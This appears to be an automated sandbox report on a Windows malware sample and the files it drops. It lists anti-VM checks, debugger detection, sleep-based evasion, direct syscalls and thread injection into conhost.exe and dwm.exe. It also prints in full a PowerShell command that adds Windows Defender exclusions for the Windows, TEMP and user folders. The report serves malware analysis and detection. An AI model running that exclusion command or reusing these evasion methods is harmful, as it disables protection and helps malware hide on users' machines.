Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040D770	3_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040D770	4_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040D770	18_2_0040D770

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_18-4456
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_3-4456
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_18-4456
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_3-4456

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dwm.exe

System information queried: FirmwareTableInformation

Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Memory allocated: C20000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Memory allocated: 1B9B0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\sysppvrdnvs.exe	Window / User API: threadDelayed 4139	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Window / User API: threadDelayed 1101	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Window / User API: threadDelayed 562	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7143	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2479	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6441
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3344
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2511
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7329
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9505

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp			Jump to dropped file
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evaded block: after key decision	graph_3-4472
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evaded block: after key decision	graph_3-4458
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evaded block: after key decision	graph_3-4540
Source: C:\Windows\sysppvrdnvs.exe	Evaded block: after key decision	graph_18-4456

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_3-4500
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_4-5870
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_3-5404
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_4-4481

Source: C:\Users\user\AppData\Local\Temp\21324.scr	API coverage: 3.8 %
Source: C:\Windows\sysppvrdnvs.exe	API coverage: 0.9 %

Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040D770		18_2_0040D770
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040D770		3_2_0040D770

Source: C:\Windows\sysppvrdnvs.exe TID: 2024	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 5772	Thread sleep count: 4139 > 30	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 5772	Thread sleep time: -8278000s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 3640	Thread sleep count: 342 > 30	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 2024	Thread sleep count: 1101 > 30	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 4180	Thread sleep time: -73640s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 4180	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 5772	Thread sleep count: 562 > 30	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 5772	Thread sleep time: -1124000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4904	Thread sleep count: 7143 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5860	Thread sleep count: 2479 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe TID: 936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6928	Thread sleep count: 6441 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6916	Thread sleep count: 3344 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2688	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5100	Thread sleep count: 7188 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5100	Thread sleep count: 2511 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4852	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7064	Thread sleep count: 7329 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4016	Thread sleep count: 256 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1948	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2580	Thread sleep count: 9505 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 988	Thread sleep time: -9223372036854770s >= -30000s

Source: C:\Windows\System32\dwm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	3_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	18_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	18_2_004067A0

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

3_2_00402020

Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 73640	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: Us051y7j25.exe, 00000000.00000002.2346965220.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: Us051y7j25.exe, 00000000.00000002.2346965220.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000003.2341630604.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.000000000089E000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000003.2341074992.000000000090E000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000003.2341630604.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: 1881231804.exe, 00000013.00000002.2606598156.0000000000D29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\21324.scr	API call chain: ExitProcess graph end node	graph_3-4469
Source: C:\Windows\sysppvrdnvs.exe	API call chain: ExitProcess graph end node	graph_4-4501
Source: C:\Windows\sysppvrdnvs.exe	API call chain: ExitProcess graph end node	graph_18-4500
Source: C:\Windows\sysppvrdnvs.exe	API call chain: ExitProcess graph end node	graph_18-4469

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Us051y7j25.exe

Code function: 0_2_00141DF8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_00141DF8

Source: C:\Users\user\Desktop\Us051y7j25.exe

0_2_001410B0

Source: C:\Users\user\AppData\Local\Temp\21324.scr

Code function: 3_2_0040A890 GetProcessHeaps,

3_2_0040A890

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Us051y7j25.exe	Code function: 0_2_00141DF8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	0_2_00141DF8
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Code function: 26_2_00871958 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	26_2_00871958
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Code function: 27_2_00601C08 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	27_2_00601C08
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Code function: 29_2_00C918A8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	29_2_00C918A8
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89A1180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	37_2_00007FF7B89A1180

Source: C:\Users\user\AppData\Local\Temp\1881231804.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	NtQuerySystemInformation: Direct from: 0x7FF7AD1B5B0E
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	NtQuerySystemInformation: Direct from: 0x7FF6904F5B0E

Maps a DLL or memory area into another process

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Section loaded: NULL target: C:\Windows\System32\conhost.exe protection: readonly
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Section loaded: NULL target: C:\Windows\System32\dwm.exe protection: readonly

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Thread register set: target process: 7112
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Thread register set: target process: 6072

Writes to foreign memory regions

Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Memory written: C:\Windows\System32\conhost.exe base: F0AF4F2010
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Memory written: C:\Windows\System32\dwm.exe base: 84EBAA4010

